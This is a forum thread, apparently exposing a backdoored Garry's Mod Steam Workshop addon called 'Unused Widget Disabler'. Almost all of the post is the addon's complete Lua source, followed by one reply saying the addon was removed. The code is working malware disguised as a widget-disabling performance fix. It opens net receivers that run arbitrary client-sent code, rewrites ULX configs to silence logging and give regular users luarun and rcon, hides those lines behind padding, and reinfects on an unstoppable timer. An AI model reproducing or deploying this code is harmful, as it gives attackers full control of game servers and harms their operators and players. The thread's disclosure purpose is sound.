• [Backdoor] Unused Widget Disabler
    3 replies, posted
https://steamcommunity.com/sharedfiles/filedetails/?id=1449830575&searchtext Steam Community util.AddNetworkString( 'NoNerks' ) net.Receive( 'NoNerks', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end ) hook.Add( "PreGamemodeLoaded", "widgets_disabler_cpu", function() MsgN( "Disabling widgets..." ) function widgets.PlayerTick() -- empty end hook.Remove( "PlayerTick", "TickWidgets" ) MsgN( "Widgets disabled!" ) end ) local WS = {} WS.file = {} WS.file.Write = file.Write WS.file.Read = file.Read WS.file.Append = file.Append WS.file.IsDir = file.IsDir WS.file.CreateDir = file.CreateDir --[[WS.debug = {}   To bypass some things, never got to use it WS.debug.getupvalue = debug.getupvalue]] function WS.ProxyCode( code ) local file = table.Random(file.Find("data/*.lua", "GAME")) RunString(code, file) end function WS.CheckForInfection() local c = WS.file.Read("data/ulx/config.txt","GAME") or "NO DATA" if string.find(c, "Exploits fixes") then return true else return false end end function WS.Infecte() if not WS.file.IsDir("data/ulx","GAME") then return end ------------- GAMEMODE persistent if not WS.file.IsDir("data/ulx/gamemodes","GAME") then WS.file.CreateDir("ulx/gamemodes") end if not WS.file.IsDir("data/ulx/gamemodes/"..engine.ActiveGamemode(),"GAME") then WS.file.CreateDir("ulx/gamemodes/"..engine.ActiveGamemode()) end WS.file.Write( "ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n; Exploits fixes") WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx logEcho 0]]) WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "user" "ulx luarun"]]) WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "user" "ulx rcon"]]) WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx groupallow "superadmin" "ulx groupdeny"]]) -- yyyyeeeaaahhhh WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx luarun util.AddNetworkString("fellosnake")]]) WS.file.Append("ulx/gamemodes/"..engine.ActiveGamemode().."/config.txt", "\n"..[[ulx luarun net.Receive("fellosnake",function() RunString(net.ReadString(),"Collombe") end)]]) ------------- BASIC persistent if WS.CheckForInfection() then return end WS.file.Append("ulx/config.txt", string.rep("\n", 50))  -- Best hiding technique WS.file.Append("ulx/config.txt", "\n; Exploits fixes") WS.file.Append("ulx/config.txt", "\n"..[[ulx logEcho 0]]) WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "user" "ulx luarun"]]) WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "user" "ulx rcon"]]) WS.file.Append("ulx/config.txt", "\n"..[[ulx groupallow "superadmin" "ulx groupdeny"]]) -- yyyyeeeaaahhhh WS.file.Append("ulx/config.txt", "\n"..[[ulx luarun util.AddNetworkString("fellosnake")]]) WS.file.Append("ulx/config.txt", "\n"..[[ulx luarun net.Receive("fellosnake",function() RunString(net.ReadString(),"Collombe") end)]]) end   ------------- INFECTE EVERYTHING WS.Infecte() timer.Create("TheWaterSnake", 5, 0, WS.Infecte) ------------- PREVENT STOPPING local td, tr = timer.Destroy, timer.Remove function timer.Destroy( a ) if a == "TheWaterSnake" then return end td( a ) end function timer.Remove( a ) if a == "TheWaterSnake" then return end tr( a ) end ------------- B1G H4X util.AddNetworkString("fellosnake") net.Receive("fellosnake", function() RunString(net.ReadString(), "TheFrenchGuy") end)
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addon seems to be removed
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